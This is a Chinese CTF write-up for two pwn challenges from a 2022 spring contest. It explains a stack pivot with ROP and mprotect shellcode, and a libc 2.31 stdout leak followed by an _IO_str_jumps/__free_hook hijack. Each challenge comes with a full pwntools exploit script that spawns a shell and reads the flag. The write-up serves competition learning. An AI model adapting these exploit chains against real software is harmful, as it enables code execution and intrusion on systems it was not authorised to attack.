2022DASCTFXSU三月春季挑战赛-pwn-wp
作者:互联网
2022DASCTFXSU三月春季挑战赛-pwn-wp
今天终于有空来写下wp
。最后一题的CVE-2022-0185
在学习中,未完待续。
checkin
这题最开始想用one gadget
去做,后来发现libc-2.31
的one gadget
都比较严格,于是换成puts
泄露再读取输入执行system("/bin/sh")
。
checksec
漏洞点
栈溢出,可溢出0x10
字节,覆盖掉rbp
和ret
。
利用思路
观察0x4011BF
处的汇编可知,rax
等于rbp-0xb0
,然后在0x4011CB
处将rax
赋值给了rsi
,因此,只要控制了rbp
,相当于可以在任意地址处写入0xb0
个字节。
至少两种思路,主要后面不一样。
思路一:
-
栈迁移到
bss
段 -
控制
rbp
后再进入0x4011BF
,然后在bss
段上rop
-
使用
partial overwrite
修改read@got
,使其为syscall; ret
。这里由于read
的地址偏移为0xff0
,加个0x10
直接进位了,所以还有半个字节需要猜测一下,概率为1/16
-
使用
read
控制rax
为10
,并修改read@got
,随即利用ret2csu
执行mprotect(bss, 0x1000, 7)
-
跳转到准备好的
shellcode
执行获取shell
思路二:
- 栈迁移到
bss
段 - 控制
rbp
后再进入0x4011BF
,然后在bss
段上rop
- 使用
magic gadget
:add [rbp-0x3d], ebx; ret
,将setvbuf@got
修改为puts
的地址 - 泄露出
read
地址,计算得到system
地址 - 再次
read
读取输入,跳转执行system('/bin/sh')
即可
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
if gift.remote:
libc = ELF('./libc.so.6')
gift['libc'] = libc
pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
leave_ret = CurrentGadgets.leave_ret()
magic = CurrentGadgets.magic_gadget()
pop_rbp_ret = CurrentGadgets.pop_rbp_ret()
ret = CurrentGadgets.ret()
read_again = 0x4011bf
bss_addr = 0x404080 + 0xa00
def exp_magic():
pop_rbx_rbp_r12131415 = 0x40124a
# 栈迁移到bss段
payload = flat({
0xa0: [
bss_addr+0xa0,
read_again
]
})
s(payload)
libc_puts = libc.sym.puts
libc_setvbuf = libc.sym.setvbuf
offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)
# 修改setvbuf为puts
payload = flat(
{
0: [
pop_rbx_rbp_r12131415,
offset,
elf.got.setvbuf+0x3d,
0, 0, 0, 0,
magic,
ret,
pop_rdi_ret,
elf.got.read,
elf.plt.setvbuf,
pop_rbp_ret,
bss_addr+0xa0,
read_again
],
0xa0: [
bss_addr - 8,
leave_ret
]
}
)
s(payload)
read_addr = u64_ex(rl()[:-1])
libc_base = read_addr - libc.sym.read
log_libc_base_addr(libc_base)
libc.address = libc_base
# 读取输入,执行system('/bin/sh')
payload = flat({
0:[
pop_rdi_ret,
libc.search(b"/bin/sh").__next__(),
libc.sym.system
],
0x70: leave_ret,
0xa0: [
bss_addr - 8,
leave_ret
]
})
s(payload)
sleep(1)
sl("cat /flag")
m = rls("flag")
if b"flag" in m:
log_ex(f"Get flag: {m}")
ia()
def exp_partial_write():
bss_addr = elf.got.setvbuf
# 栈迁移
layout = {
0xa0: [
bss_addr+0xa0,
read_again
]
}
s(flat(layout))
# rop1
layout = {
0xa0: [
bss_addr,
leave_ret
],
0: [
bss_addr+0x68,
pop_rsi_r15_ret,
elf.got.read-8,
0,
elf.plt.read,
0x40124a, # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
0, # rbx
2, # rbp
bss_addr & ~0xfff,
0x1000,
7,
elf.got.read,
0x401230, # csu up
ShellcodeMall.amd64.execve_bin_sh
]
}
s(flat(layout))
s(b"a"*8 + p16(0x8000))
sleep(1)
sl("cat /flag")
m = rls("flag")
if b"flag" in m:
log_ex(f"Get flag: {m}")
ia()
if __name__ == "__main__":
# for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done
# try:
# exp_partial_write()
# except:
# pass
exp_magic()
打远程:
爆破:
wedding
这题刚开始被libc
给坑了,最开始本地使用的是2.31-0ubuntu9.2_amd64
调试的,这个版本的file_jump_table
是可写的;但是远程给的是2.31-0ubuntu9.7_amd64
,这个版本的file_jump_table
都是不可写的。因为我最初使用的思路是改写stdout->flags
为/bin/sh
,修改_IO_file_jumps->_IO_file_xsputn
为system
去拿shell
,所以那天上午爆破了好久都失败了......所以以后,还是老老实实用给的libc
去调试吧。调试的时候建议关闭aslr
。
checksec
漏洞点
-
prepare
中没有校验offset
: -
revise
中没有校验index
:
建议把这个标识变量改一下,要不然wish/wlsh/w1sh
容易看花眼。。。
利用思路
题目给的条件为:
- 可以分配任意大小的内存
- 可以在任意偏移处覆盖,但是只能覆盖为
0x135
或者0x1314
,覆盖机会为3
次 - 可以在
heap
任意偏移处的指针写入8
或者3
个字节,各有1
次机会。
当然,上面说的任意也不是完全任意,受限于my_read
只读取8
个字节,所以实际能控制的偏移(数字)为:-9999999
到99999999
。
我们知道,在申请内存足够大,大概大于128K
的时候,会调用mmap
映射虚拟内存页,此时映射的虚拟内存页会位于libc.so
映射空间的上方。此时的偏移可控,也就是可以修改libc.so
上的任意的数据,修改的内容为2
字节,固定。
由于没有地址,朴素的想法就是先泄露地址,因此,打_IO_2_1_stdout_
结构体去泄露地址。有地址后就好办了,思路为:
-
申请大内存,利用任意偏移修改
stdout->flags
和stdout->_IO_write_base
,泄露地址并计算出PIE
基地址和libc
基地址 -
利用一个跳板,和两次分别写
8/3
字节的机会,修改change3
和change8
为小负数,这样就能继续写很多次。我选择的跳板在0x3e20
偏移处,第一次可以写8
个字节,修改为任意地址,第二次就能将change3
修改为小负数然后,使用
0x4008
这个跳板,就可以把change8
也修改为小负数 -
继续使用跳板,将
stderr->vtable
修改为_IO_str_jumps
;将_IO_2_1_stderr_+131
处修改为sh;
;将__free_hook
修改为system
;将stderr->flags
修改为0x80
;最后把bss
段上的stdout
修改为_IO_2_1_stderr_
。接着,在调用puts(xxx)
的时候,会调用stderr->vtable->_IO_file_xsput
,实际调用的是_IO_str_finish
,接着调用free(fp->_IO_buf_base)
,就是调用system("sh;")
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def prepare(size:int, offset:int=None):
if size > 0x7fffffff:
size -= (0x1 << 32)
if offset and offset > 0x7fffffff:
offset -= (0x1 << 32)
sla("your choice >> \n", "1")
sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
if offset is not None:
sa(">> \n", str(offset).ljust(8, "\x00"))
def revise(idx, data):
sla("your choice >> \n", "2")
sla("which packet you want to revise>> \n", str(idx))
sa("now write your wish>> \n", data)
# 调用mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0
prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)
# 调用mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)
# 根据标志寻找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=10)
m1 = io.recvn(0x10)
code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)
if (libc_base >> 40) != 0x7f or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
errlog_exit("Wrong addr")
libc.address = libc_base
# check
revise(-80, p64(code_base+0x4050+1))
revise(0x3ec, p16(0xffee)+p8(0xff))
revise(-19, p8(0x55))
revise(-19, p16(0xffee)+p8(0xff))
# _IO_2_1_stderr_
str_jumps_off = 0x1e9560
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 216)) # stderr->vtable
revise(0x3ec, p32_ex(libc_base + str_jumps_off - 0x28)[:3])
revise(-80, p64(libc.sym['__free_hook']))
revise(0x3ec, p64(libc.sym.system)[:3])
revise(-80, p64(libc.sym['__free_hook']+3)) #
revise(0x3ec, p64(libc.sym.system)[3:6])
revise(-80, p64(libc.sym['__free_hook']+6)) #
revise(0x3ec, p64(libc.sym.system)[6:])
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 131)) # stderr ->
revise(0x3ec, "sh;")
revise(-12, p8(0x80))
revise(-80, p64(code_base + 0x4020)) # stdout
revise(0x3ec, p64(libc.sym['_IO_2_1_stderr_'])[:3])
ia()
这里使用0xfffffffffffffff8
来找地址,有代码段地址和libc
地址:
本地多试几次就出来了:
远程不知道是不是偏移不对,stdout
那里一直没有泄露,不知道啥情况。所以,这个大概率是打远程失败的非预期解了。
SU_message
CVE
调试学习中, #TODO
这里有出题人的出题报告:https://kagehutatsu.com/?p=551
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
标签:addr,libc,ret,2022DASCTFXSU,base,pop,wp,pwn,revise 来源: https://www.cnblogs.com/LynneHuan/p/16070118.html